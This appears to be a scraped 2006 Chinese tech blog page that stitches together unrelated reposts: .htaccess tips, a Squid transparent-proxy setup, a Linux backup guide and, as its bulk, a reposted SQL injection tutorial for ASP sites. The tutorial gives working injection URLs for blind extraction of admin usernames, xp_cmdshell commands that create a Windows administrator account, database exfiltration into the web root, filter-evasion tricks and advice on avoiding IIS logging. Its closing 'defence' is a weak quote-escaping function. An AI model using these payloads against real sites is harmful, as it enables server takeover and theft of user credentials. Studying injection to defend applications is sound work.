  ErrorDocument 500 /errors/internalerror.html

  一条指令一行。上述第一条指令的意思是对于404,也就是没有找到所需要的文档的时候得显示页面为/errors目录下的notfound.html页面。不难看出语法格式为:

  ErrorDocument 错误代码 /目录名/文件名.扩展名

  如果所需要提示的信息很少的话,不必专门制作页面,直接在指令中使用HTML号了,例如下面这个例子:

  ErrorDocument 401 “你没有权限访问该页面,请放弃!”

  文档访问的密码保护

  要利用.htaccess对某个目录下的文档设定访问用户和对应的密码,首先要做的是生成一个.htpasswd的文本文档,例如:

  zheng:y4E7Ep8e7EYV

  这里密码经过加密,用户可以自己找些工具将密码加密成.htaccess支持的编码。该文档最好不要放在www目录下,建议放在www根目录文档之外,这样更为安全些。

  有了授权用户文档,可以在.htaccess中加入如下指令了:

  AuthUserFile .htpasswd的服务器目录
  AuthGroupFile /dev/null (需要授权访问的目录)
  AuthName EnterPassword
  AuthType Basic (授权类型)

  require user wsabstract (允许访问的用户,如果希望表中所有用户都允许,可以使用 require valid-user)

  注,括号部分为学习时候自己添加的注释

  拒绝来自某个IP的访问

  如果我不想某个政府部门访问到我的站点的内容,那可以通过.htaccess中加入该部门的IP而将它们拒绝在外。

  例如:

  order allow,deny
  deny from 210.10.56.32
  deny from 219.5.45.
  allow from all

  第二行拒绝某个IP,第三行拒绝某个IP段,也就是219.5.45.0~219.2.45.255

  想要拒绝所有人?用deny from all好了。不止用IP,也可以用域名来设定。

  保护.htaccess文档

  在使用.htaccess来设置目录的密码保护时,它包含了密码文件的路径。从安全考虑,有必要把.htaccess也保护起来,不让别人看到其中的内容。虽然可以用其他方式做到这点,比如文档的权限。不过,.htaccess本身也能做到,只需加入如下的指令:

  order allow,deny
  deny from all

  URL转向

  我们可能对网站进行重新规划,将文档进行了迁移,或者更改了目录。这时候,来自搜索引擎或者其他网站链接过来的访问就可能出错。这种情况下,可以通过如下指令来完成旧的URL自动转向到新的地址:

  Redirect /旧目录/旧文档名 新文档的地址

  或者整个目录的转向:

  Redirect 旧目录 新目录

  改变缺省的首页文件

  一般情况下缺省的首页文件名有default、index等。不过,有些时候目录中没有缺省文件,而是某个特定的文件名,比如在pmwiki中是pmwiki.php。这种情况下,要用户记住文件名来访问很麻烦。在.htaccess中可以轻易的设置新的缺省文件名:

  DirectoryIndex 新的缺省文件名

  也可以列出多个,顺序表明它们之间的优先级别,例如:

  DirectoryIndex filename.html index.cgi index.pl default.htm

  防止盗链

  如果不喜欢别人在他们的网页上连接自己的图片、文档的话,也可以通过htaccess的指令来做到。

  所需要的指令如下:

  RewriteEngine on
  RewriteCond %{ HTTP_REFERER } !^$
  RewriteCond %{ HTTP_REFERER } !^http://(www.)?mydomain.com/.*$ [NC]
  RewriteRule .(gif&line;jpg)$ – [F]

  如果觉得让别人的页面开个天窗不好看,那可以用一张图片来代替:

  RewriteEngine on
  RewriteCond %{ HTTP_REFERER } !^$
  RewriteCond %{ HTTP_REFERER } !^http://(www.)?mydomain.com/.*$ [NC]
  RewriteRule .(gif&line;jpg)$ http://www.mydomain.com/替代图片文件名 [R,L]

如何在Linux中设置透明代理

0

分类 : 系统安全 | 发表时间 10-03-2006

1.什么是透明代理?

  如果你问:我如何才能使得用户的浏览器不需要任何代理设置就能使用我的Squid cache代理服务器上网?此时你就需要使用透明代理。透明代理让你的客户端不需设置任何代理,当包经过透时代理服务器时实际上被重定向到squid代理服务器的代理端口(如8080),即由本地代理服务器向外请求所需数据然后拷贝给客户端。
  2.我需要什么样的环境才能实现透明代理?

  a.客户端的windows PC的网关必须设成Squid代理服务器,因为既然你的browser中没有任何代理设置,你要访问某个站点时,包必须经经过squid代理服务器才能被重定向,故这是最基本的条件。

  b.客户端必须正确设置DNS服务器。因为既然现在不用设置任何代理。则DNS必须由browser来解析,也就是要由客户端的PC中TCP/IP中设置的DNS服务器来正确解析出某个站点的IP地址来。

  c.服务器端可以安装squid代理服务器,1.x or 2.x版本均可。

  3.配置Squid代理,启动透明代理功能

  Squid-2

  加下面的行到你的/etc/squid/squid.conf中

  http_port 8080
  httpd_accel_host virtual
  httpd_accel_port 80
  httpd_accel_with_proxy on
  httpd_accel_uses_host_header on

 Squid-1.1

  加下面的行到/etc/squid.conf


  http_port 8080
  httpd_accel virtual 80
  httpd_accel_with_proxy on
  httpd_accel_uses_host_header on

  4. 重启动squid. 用下面的命令:

    #/usr/sbin/squid -k reconfigure

  如提示内核不支持透明代理。则你需要重新编译内核,enable 透明代理的支持。

  下面是你需要启动的内核项目:

  [*] Network firewalls
  [ ] Socket Filtering
  [*] Unix domain sockets
  [*] TCP/IP networking
  [ ] IP: multicasting
  [ ] IP: advanced router
  [ ] IP: kernel level autoconfiguration
  [*] IP: firewalling
  [ ] IP: firewall packet netlink device
  [*] IP: always defragment (required for masquerading)

  [*] IP: transparent proxy support


  5. 下面的命令针对Linux 2.2.x内核:

  # Accept all on lookback
  /sbin/ipchains -A input -j ACCEPT -i lo
  #Accept my own IP, to prevent loops (repeat for each interface/alias)
  /sbin/ipchains -A input -j ACCEPT -p tcp -d 192.168.11.1/32 80
  #Send all traffic destined to port 80 to Squid on port 80
  /sbin/ipchains -A input -j REDIRECT 8080 -p tcp -s 192.168.11.0/24 -d 0/0 80


  下面的命令针对Linux 2.0.x内核:

  # Accept all on loopback
  ipfwadm -I -a accept -W lo
  # Accept my own IP, to prevent loops (repeat for each interface/alias)
  ipfwadm -I -a accept -P tcp -D 192.168.11.1/32 80
  # Send all traffic destined to port 80 to Squid on port 3128
  ipfwadm -I -a accept -P tcp -S 192.168.11.0/24 -D 0/0 80 -r 8080

  6.应注意的问题:

  a. 这种透明代理只能针对http协议,不能针对FTP协议
  b. PC的默认网关应设成squid 代理服务器
  c. 防火墙重定向规则在其它的input规则的前面,注意顺序。

  如:

    /etc/rc.d/rc.firewall:


#!/bin/sh
# rc.firewall Linux kernel firewalling rules
FW=/sbin/ipfwadm

# Flush rules, for testing purposes
for i in I O F # A # If we enabled accounting too
do
${FW} -$i -f
done

# Default policies:
${FW} -I -p rej # Incoming policy: reject (quick error)
${FW} -O -p acc # Output policy: accept
${FW} -F -p den # Forwarding policy: deny

# Input Rules:


# Loopback-interface (local access, eg, to local nameserver):
${FW} -I -a acc -S localhost/32 -D localhost/32

# Local Ethernet-interface:

# Redirect to Squid proxy server:
${FW} -I -a acc -P tcp -D default/0 80 -r 8080

# Accept packets from local network:
${FW} -I -a acc -P all -S localnet/8 -D default/0 -W eth0

# Only required for other types of traffic (FTP, Telnet):

# Forward localnet with masquerading (udp and tcp, no icmp!):
${FW} -F -a m -P tcp -S localnet/8 -D default/0
${FW} -F -a m -P udp -S localnet/8 -D default/0

Here all traffic from the local LAN with any destination gets redirected to the
local port 8080. Rules can be viewed like this:

IP firewall input rules, default policy: reject
type prot source destination ports
acc all 127.0.0.1 127.0.0.1 n/a
acc/r tcp 10.0.0.0/8 0.0.0.0/0 * -> 80 => 8080
acc all 10.0.0.0/8 0.0.0.0/0 n/a
acc tcp 0.0.0.0/0 0.0.0.0/0 * -> *

Backup your Linux System|备份你的 Linux 系统

0

分类 : 娱乐休闲 | 发表时间 10-03-2006

一、我们需要备份什么?

我的 Linux 系统是基于 Redhat 的Redhat Linux 9.0,同时配置了诸如 MySQL、PHP、Apache 等基础服务,同时又配有 Awstats、MRTG、MT 等应用服务程序,因此,我们需要备份的除了系统本身的重要文件以外,还需要备份数据库、log文件和统计数据文件等。当然另外一项必不可少的就是编译各项服务时的 ./configure 参数,这里就不赘述了。

二、制定备份文件列表。

这个步骤就是归纳一下需要备份的目录列表。以下我就依照我所安装的各项服务作了一个简单的list。 一些文件的地址是以我的服务器为标准(以”/”开头),一些则以相对目录来描述(以”./”开头)。

系统:


/etc /usr/local/etc
包含所有核心配置文件。这其中包括网络配置、系统名称、防火墙规则、用户、组,以及其他全局系统项。

/var
包含系统守护进程(服务)所使用的信息,包括 DNS 配置、DHCP 租期、邮件缓冲文件、HTTP 服务器文件、db2 实例配置,等等。

/home
包含所有用户的默认用户主目录。这包括他们的个人设置、已下载的文件和用户不希望失去的其他信息。

/root
是根(root)用户的主目录。

/opt
是安装许多非系统文件的地方。IBM 软件就安装在这里。OpenOffice、JDK 和其他软件在默认情况下也安装在这里。

系统中不需要备份的目录:


/proc
应该永远不要备份这个目录。它不是一个真实的文件系统,而是运行内核和环境的虚拟化视图。它包括诸如 /proc/kcore 这样的文件,这个文件是整个运行内存的虚拟视图。备份这些文件只是在浪费资源。

/dev
包含硬件设备的文件表示。如果计划还原到一个空白的系统,那就可以备份 /dev。然而,如果计划还原到一个已安装的 Linux 系统,那么备份 /dev 是没有必要的。

更多关于目录的解释,请查看 Filesystem Hierarchy Standard 和 Red Hat Linux Overview of File System Hierarchy Standard (FHS)

MySQL:


/usr/local/mysql
同时要注意版本的保留,在恢复的时候使用相同的版本(或者相同系列的版本)会减少更多不必要的麻烦,例如 “/usr
/local/mysql-standard-4.1.7-pc-linux-i686”。

/etc/my.cnf
MySQL 的配置文件。

Apache:


/usr/local/apache2/logs
Apache 的 log 文件。这里建议使用 cronolog 来 rotate Apache 的巨大 log。可以参考我的 cronolog 杂记

/usr/local/apache2/conf
Apache 的配置文件,例如: httpd.conf。还是建议在修改此文本的时候使用“#”号 comment 修改的内容,然后添加需要修改的内容。

PHP:


/usr/local/lib/php.ini
个人觉得这个就够了。如果你设定了 php 的 error log 文件,当然那个也是需要的。

Movable Type:


./MT-3.0D-full-en_ususr/ 和你的 weblog 目录
一般来说 blog 不会太大,不介意的话就整个备份一下。当然最重要的是 ./MT-3.0D-full-en_ususr/db/ 文件夹,里面有所有的数据(如果你没有用 MySQL 作为 MT 的数据存储格式的话)。

Awstats:

/etc/awstats/
Awstats 的配置文件。诸如:awstats.blog.conf

/var/lib/awstats/
Awstats 的分析留档文件。 诸如:awstats082004.blog.txt

MRTG:


MRTG 的输出文件夹。内有图片和诸如 12.34.56.78_12.34.56.78.log 的log文件。

三、使用 tar 和 crontab 等简单工具备份。

以下是使用 tar 的脚本,去掉了多余的说明部分。 您也可以点击这里下载并修改以适合自己的系统。在脚本中我尽量用更多的方法来进行备份。在实际应用中可以将步骤更加简化。更多关于 tar 的参数请看 man tar

#!/bin/sh

# Date format: 20040626
DATE=`date -d yesterday +%Y%m%d`

# MySQL version & directory
MYSQL_VERSION=”4.x.x”
MYSQL_DIR=”/usr/local/mysql/data”

# MT Blog directory
MTBLOG_DIR=”/path-to-mt/db/”

# Backup directory & Backup Filelist
BACKUP_DIR=”/path-to-backup/backupfile”
BACKUP_FILELIST=”/path-to-backup/filelist”

# Backup MySQL
printf “Backup MySQL data directory, please wait…\n”
tar -zpcvPf $BACKUP_DIR/mysql-standard-$MYSQL_VERSION-data-$DATE.tgz $MYSQL_DIR | grep “tar:”
printf “Done! The new backup file is: $BACKUP_DIR/mysql-standard-$MYSQL_VERSION-data-$DATE.tgz\n\n”

# Backup MT Blog
printf “Backuping the MT3.0 Weblog data directory, please wait…\n”
tar -zpcvPf $BACKUP_DIR/MT-db-$DATE.tgz $MTBLOG_DIR | grep “tar:”
printf “Done! The new backup file is: $BACKUP_DIR/MT-db-$DATE.tgz\n”

这里引用了『Linux 备份与恢复速成指南』中的一个小技巧,将文件列表写入一个文件进行操作。查看我的Filelist。

以下是一个文件列表的例子:

/etc
/var
/home
/usr/local
/opt (有时会是空目录)
以下解释引自『Linux 备份与恢复速成指南』:

请注意 tar -T(或 files-from)命令不能接受通配符。文件必须明确地列出。上面的例子展示了一种单独地引用文件的方法。您还可以执行脚本来搜索系统,然后建立一个列表。下面就是这样一个脚本的例子:

#!/bin/sh
cat MyFiles > TempList
find /usr/share -iname *.png >> TempList
find /tmp -iname *.iso >> TempList
tar -cpzMf /path-to-backup/backupfile -T TempList
上面的脚本首先将 MyFiles 中的所有现有文件列表复制到 TempList。然后它执行两个 find 命令来搜索文件系统中匹配某个模式的文件,并将它们附加到 TempList。第一次是搜索 /usr/share 目录树中以 .png 结尾的所有文件。第二次是搜索 /tmp 目录树中以 .iso 结尾的所有文件。在建立好列表之后,tar 然后在文件设备 /dev/st0 (第一个 SCSI 磁带设备)上创建 一个新的归档文件,该文件使用 gzip 格式来压缩,并保留所有文件权限。该归档文件将跨越多个卷。要归档的文件的名称将从 TempList 文件中提取。

四、适用于 log 和数据库的增量备份(incremental backup)。

对于庞大的 log 或者 数据库文件,每天进行完全备份似乎不是很能合理高效地实现备份工作。所以在较短的时间周期内,适用增量备份(incremental backup)会是一个不错的选择。

tar 并不是最好的增量备份工具

tar 并不是最好的增量备份的工具,但是它也可以实现增量备份。参照 『The tar backup program』中的脚本可以实现这个操作。

简单地介绍一下其原理:
首先,制作一个完全备份的时间点文件,例如 “full-date”。其中写入某次完全备份的时间点,例如 echo $NOW > full-date。
然后在自定的时间循环期内(例如一周),每次和完全备份时间点(full-date)对比后进行增量备份。
其中最关键的一个语句就是:

tar –newer $full-date -zcpf $BACKUPDIR/$BACKUPFILE-$NOW.tgz $DIRECTOIES
其结果就是,在一周中会产生 6 个独立文件,其内容是前一天内新增的内容。以下是一个例子:
[root@deep] /# ls -l /backups/

total 22217
-rw-r–r– 1 root root 10731288 Feb 7 11:24 deep-01Feb.tar << 每月月初一次完全备份
-rw-r–r– 1 root root 6879 Feb 7 11:24 deep-Fri.tar << 每天的增量备份
-rw-r–r– 1 root root 2831 Feb 7 11:24 deep-Mon.tar
-rw-r–r– 1 root root 7924 Feb 7 11:25 deep-Sat.tar
-rw-r–r– 1 root root 11923013 Feb 7 11:24 deep-Sun.tar << 每周一次完全备份
-rw-r–r– 1 root root 5643 Feb 7 11:25 deep-Thu.tar
-rw-r–r– 1 root root 3152 Feb 7 11:25 deep-Tue.tar
-rw-r–r-
- 1 root root 4567 Feb 7 11:25 deep-Wed.tar
drwxr-xr-x 2 root root 1024 Feb 7 11:20 last-full


tar 中几个开关的简介:


The c option specifies that an archive file is begin created.

The p option preserves permissions; file protection information will be remembered.

The N or newer option does an incremental backup and only stores files newer than DATE.

The f option states that the very next argument will be the name of the archive file or device being written.

The z option specifies that an gzip file will be created.

The u option can APPEND more files to a tarball file.
注意:-u 开关并不是增量备份,而是往原有的 tar 包里面添加新的文件。

fbackup is a better choice

在 HP 的论坛上,有关于增量备份的讨论--“Incremental “tar” Backup in HP-Ux”。但是因为我不是 HP 的系统,tar 已经可以满足现有的备份需求。

五、使用 ssh 实现安全网络远程备份。

[很抱歉,此段笔者没有试验环境,现在之能添加几篇关于 ssh 远程传送的文章。等到经过试验后,我会添加具体内容。]


33.8. Backing up and restoring over the network

轻松进行自主的、安全的、分布式网络备份

六、个人使用的 e-mail 简单备份。

由于 Yahoo!、Google、Hotmail 相继推出了 1-2G 的邮箱,因此可是试着使用带有文件附件的 E-mail 来传输小于各个邮箱的单封信件上限大小的文件。 具体需要用到一些诸如 uudecode 的命令,所以需要先安装一个 Sharutils 。 我在编译中遇到一些简单的错误,这里是我修改过的 Sharutils。

在命令行下发送带附件的邮件时,还是建议使用诸如 MUTT 的 MUA,请查看我的 MUTT 的安装失败经历,也许对新装的用户有所帮助。

安装完毕后,可以使用 Mutt 的命令行一行解决问题。首先先写一个邮件文本 mailcontent.txt。

# cat mailcontent.txt | mutt -s “mailtitle” -a attachfile1 mail@address

结合上面的 shell 脚本,如果你有企业级邮箱的话,不妨也试试这种方法。仅供参考。

SQL注入天书 – ASP注入漏洞全接触

0

分类 : 技术文摘 | 发表时间 10-03-2006

转自:neeao
作者:小竹

引 言

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let’s Go…

入 门 篇

如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

第一节、SQL注入原理

以下我们从一个网站www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 ’80040e14′

字符串的语法错误 在查询表达式 ‘ID=49” 中。

/showdetail.asp,行8

从这个错误提示我们能看出下面几点:

1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

2. 程序没有判断客户端提交的数据是否符合程序要求。

3. 该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

第二节、判断能否进行SQL注入

看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?

其实,这并不是最好的方法,为什么呢?

首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

  那么,什么样的测试方法才是比较准确呢?答案如下:

① http://www.mytest.com/showdetail.asp?id=49

② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。

第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

进 阶 篇

在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是
远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

© 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。

最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

第二节、SQL注入常用函数

有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符)

作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)

作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)

作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C

作用:判断A是否界于B与C之间

第三节、中文处理方法

在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

先说一点常识:

Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。

高 级 篇

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”–

  分号;在SQLServer中表示隔开前后两句语句,–表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”–

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;–

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4..
.就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

防 范 方 法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:

Function SafeRequest(ParaName,ParaType)
‘— 传入参数 —
‘ParaName:参数名称-字符型
‘ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write “参数” & ParaName & “必须为数字型!”
Response.end
End if
Else
ParaValue=replace(ParaValue,”‘”,”””)
End if
SafeRequest=ParaValue
End function

文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

夜猫系列[留言薄+文章系统+ymCMS]漏洞预警!

0

分类 : 系统安全 | 发表时间 27-02-2006

漏洞发现者:xY7[B.C.T]
漏洞组织:Bug.Center.Team-漏洞预警中心小组
